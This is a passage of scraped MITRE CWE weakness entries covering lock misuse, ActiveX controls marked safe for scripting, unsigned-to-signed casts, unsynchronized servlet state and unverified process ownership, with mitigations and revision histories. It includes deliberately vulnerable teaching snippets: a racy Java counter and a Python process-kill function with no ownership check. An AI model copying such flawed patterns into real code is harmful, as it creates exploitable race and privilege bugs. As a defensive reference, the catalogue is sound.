MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1401Comprehensive Categorization: Concurrency
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This overlaps Insufficient Resource Pool when the "pool" is of size 1. It can also be resultant from race conditions, although the timing window could be quite large in some cases.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERUnrestricted Critical Resource Lock
7 Pernicious KingdomsDeadlock
OWASP Top Ten 2004A9CWE More SpecificDenial of Service
The CERT Oracle Secure Coding Standard for Java (2011)LCK00-JUse private final lock objects to synchronize classes that may interact with untrusted code
The CERT Oracle Secure Coding Standard for Java (2011)LCK07-JAvoid deadlock by requesting and releasing locks in the same order
Software Fault PatternsSFP22Unrestricted lock
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Contributions
Contribution DateContributorOrganization
2008-08-29KDM Analytics
suggested clarification of description and observed examples, which were vague and inconsistent.
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-08-01KDM Analytics
added/updated white box definitions
2008-08-15Veracode
Suggested OWASP Top Ten 2004 mapping
2008-09-08CWE Content TeamMITRE
updated Common_Consequences, Description, Detection_Factors, Relationships, Observed_Example, Relationship_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-07-17KDM Analytics
Suggested a better name and the minimal relationship with resources regardless of their criticality.
2009-07-17KDM Analytics
Added a White_Box_Definition and clarified the consequences.
2009-07-27CWE Content TeamMITRE
updated Common_Consequences, Description, Name, Potential_Mitigations, White_Box_Definitions
2011-03-29CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, White_Box_Definitions
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Unrestricted Critical Resource Lock
2009-07-27Unrestricted Lock on Critical Resource

CWE-623: Unsafe ActiveX Control Marked Safe For Scripting

Weakness ID: 623
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
An ActiveX control is intended for restricted use, but it has been marked as safe-for-scripting.
+ Extended Description
This might allow attackers to use dangerous functionality via a web page that accesses the control, which can lead to different resultant vulnerabilities, depending on the control's behavior.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.267Privilege Defined With Unsafe Actions
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.618Exposed Unsafe ActiveX Method
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Execute Unauthorized Code or Commands

+ Observed Examples
ReferenceDescription
control allows attackers to add malicious email addresses to bypass spam limits
web browser uses certain COM objects as ActiveX
kiosk allows bypass to read files
+ Potential Mitigations

Phase: Architecture and Design

During development, do not mark it as safe for scripting.

Phase: System Configuration

After distribution, you can set the kill bit for the control so that it is not accessible from Internet Explorer.
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.978SFP Secondary Cluster: Implementation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ References
[REF-503] Microsoft. "Developing Secure ActiveX Controls". 2005-04-13. <https://learn.microsoft.com/en-us/previous-versions//ms533046(v=vs.85)?redirectedfrom=MSDN>. URL validated: 2023-04-07.
[REF-510] Microsoft. "How to stop an ActiveX control from running in Internet Explorer". <https://support.microsoft.com/en-us/help/240797/how-to-stop-an-activex-control-from-running-in-internet-explorer>. URL validated: 2023-04-07.
[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 16, "What ActiveX Components Are Safe for Initialization and Safe for Scripting?" Page 510. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 12, "ActiveX Security", Page 749. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2007-05-07
(CWE Draft 6, 2007-05-07)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Description, Relationships, Observed_Example, Weakness_Ordinalities
2010-02-16CWE Content TeamMITRE
updated References
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated References
2018-03-27CWE Content TeamMITRE
updated References
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-06-25CWE Content TeamMITRE
updated Observed_Examples
2022-04-28CWE Content TeamMITRE
updated Research_Gaps
2023-01-31CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-196: Unsigned to Signed Conversion Error

Weakness ID: 196
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses an unsigned primitive and performs a cast to a signed primitive, which can produce an unexpected value if the value of the unsigned primitive can not be represented using a signed primitive.
+ Extended Description
Although less frequent an issue than signed-to-unsigned conversion, unsigned-to-signed conversion can be the perfect precursor to dangerous buffer underwrite conditions that allow attackers to move down the stack where they otherwise might not have access in a normal buffer overflow condition. Buffer underwrites occur frequently when large unsigned values are cast to signed values, and then used as indexes into a buffer or for pointer arithmetic.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.681Incorrect Conversion between Numeric Types
CanAlsoBeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.120Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')
CanAlsoBeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.124Buffer Underwrite ('Buffer Underflow')
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.681Incorrect Conversion between Numeric Types
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.681Incorrect Conversion between Numeric Types
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Crash, Exit, or Restart

Incorrect sign conversions generally lead to undefined behavior, and therefore crashes.
Integrity

Technical Impact: Modify Memory

If a poor cast lead to a buffer overflow or similar condition, data integrity may be affected.
Integrity
Confidentiality
Availability
Access Control

Technical Impact: Execute Unauthorized Code or Commands; Bypass Protection Mechanism

Improper signed-to-unsigned conversions without proper checking can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.
+ Likelihood Of Exploit
Medium
+ Potential Mitigations

Phase: Requirements

Choose a language which is not subject to these casting flaws.

Phase: Architecture and Design

Design object accessor functions to implicitly check values for valid sizes. Ensure that all functions which will be used as a size are checked previous to use as a size. If the language permits, throw exceptions rather than using in-band errors.

Phase: Implementation

Error check the return values of all functions. Be aware of implicit casts made, and use unsigned variables for sizes if at all possible.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1416Comprehensive Categorization: Resource Lifecycle Management
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
CLASPUnsigned to signed conversion error
Software Fault PatternsSFP1Glitch in computation
+ References
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 6, "Type Conversions", Page 223. 1st Edition. Addison Wesley. 2006.
[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
CLASP
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2009-10-29CWE Content TeamMITRE
updated Common_Consequences
2010-12-13CWE Content TeamMITRE
updated Other_Notes
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated References, Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-06-23CWE Content TeamMITRE
updated Demonstrative_Examples, Description, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated References
2023-01-31CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-567: Unsynchronized Access to Shared Data in a Multithreaded Context

Weakness ID: 567
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly synchronize shared data, such as static variables across threads, which can lead to undefined behavior and unpredictable data changes.
+ Extended Description

Within servlets, shared static variables are not protected from concurrent access, but servlets are multithreaded. This is a typical programming mistake in J2EE applications, since the multithreading is handled by the framework. When a shared variable can be influenced by an attacker, one thread could wind up modifying the variable to contain data that is not valid for a different thread that is also using the data within the variable.

Note that this weakness is not unique to servlets.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.820Missing Synchronization
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.488Exposure of Data Element to Wrong Session
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.662Improper Synchronization
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "CISQ Data Protection Measures" (CWE-1340)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.662Improper Synchronization
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Integrity
Availability

Technical Impact: Read Application Data; Modify Application Data; DoS: Instability; DoS: Crash, Exit, or Restart

If the shared variable contains sensitive data, it may be manipulated or displayed in another user session. If this data is used to control the application, its value can be manipulated to cause the application to crash or perform poorly.
+ Demonstrative Examples

Example 1

The following code implements a basic counter for how many times the page has been accesed.

(bad code)
Example Language: Java 
public static class Counter extends HttpServlet {
static int count = 0;
protected void doGet(HttpServletRequest in, HttpServletResponse out)
throws ServletException, IOException {
out.setContentType("text/plain");
PrintWriter p = out.getWriter();
count++;
p.println(count + " hits so far!");
}
}

Consider when two separate threads, Thread A and Thread B, concurrently handle two different requests:

  • Assume this is the first occurrence of doGet, so the value of count is 0.
  • doGet() is called within Thread A.
  • The execution of doGet() in Thread A continues to the point AFTER the value of the count variable is read, then incremented, but BEFORE it is saved back to count. At this stage, the incremented value is 1, but the value of count is 0.
  • doGet() is called within Thread B, and due to a higher thread priority, Thread B progresses to the point where the count variable is accessed (where it is still 0), incremented, and saved. After the save, count is 1.
  • Thread A continues. It saves the intermediate, incremented value to the count variable - but the incremented value is 1, so count is "re-saved" to 1.

At this point, both Thread A and Thread B print that one hit has been seen, even though two separate requests have been processed. The value of count should be 2, not 1.

While this example does not have any real serious implications, if the shared variable in question is used for resource tracking, then resource consumption could occur. Other scenarios exist.

+ Potential Mitigations

Phase: Implementation

Remove the use of static variables used between servlets. If this cannot be avoided, use synchronized access for these variables.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.852The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.986SFP Secondary Cluster: Missing Lock
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1142SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1401Comprehensive Categorization: Concurrency
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
The CERT Oracle Secure Coding Standard for Java (2011)VNA00-JEnsure visibility when accessing shared primitive variables
The CERT Oracle Secure Coding Standard for Java (2011)VNA02-JEnsure that compound operations on shared variables are atomic
Software Fault PatternsSFP19Missing Lock
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-12-15
(CWE Draft 5, 2006-12-15)
CWE Community
Submitted by members of the CWE community to extend early CWE versions
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes
2010-09-27CWE Content TeamMITRE
updated Other_Notes
2010-12-09CWE Content TeamMITRE
Made name and description more specific to match the essence of the rest of the entry.
2010-12-13CWE Content TeamMITRE
updated Applicable_Platforms, Common_Consequences, Demonstrative_Examples, Description, Name, Other_Notes, Potential_Mitigations, Relationships
2011-06-01CWE Content TeamMITRE
updated Common_Consequences, Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2013-07-17CWE Content TeamMITRE
updated Relationships
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2019-01-03CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-08-20CWE Content TeamMITRE
updated Relationships
2020-12-10CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2010-12-13Unsynchronized Access to Shared Data

CWE-283: Unverified Ownership

Weakness ID: 283
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product does not properly verify that a critical resource is owned by the proper entity.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.282Improper Ownership Management
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.840Business Logic Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1011Authorize Actors
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignREALIZATION: This weakness is caused during implementation of an architectural security tactic.
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Access Control

Technical Impact: Gain Privileges or Assume Identity

An attacker could gain unauthorized access to system resources.
+ Demonstrative Examples

Example 1

This function is part of a privileged program that takes input from users with potentially lower privileges.

(bad code)
Example Language: Python 
def killProcess(processID):
os.kill(processID, signal.SIGKILL)

This code does not confirm that the process to be killed is owned by the requesting user, thus allowing an attacker to kill arbitrary processes.

This function remedies the problem by checking the owner of the process before killing it:

(good code)
Example Language: Python 
def killProcess(processID):
user = getCurrentUser()

#Check process owner against requesting user
if getProcessOwner(processID) == user:
os.kill(processID, signal.SIGKILL)
return

else:
print("You cannot kill a process you don't own")
return
+ Observed Examples
ReferenceDescription
Program does not verify the owner of a UNIX socket that is used for sending a password.
Owner of special device not checked, allowing root.
+ Potential Mitigations

Phases: Architecture and Design; Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy: Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.723OWASP Top Ten 2004 Category A2 - Broken Access Control
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.944SFP Secondary Cluster: Access Management
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1396Comprehensive Categorization: Access Control
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

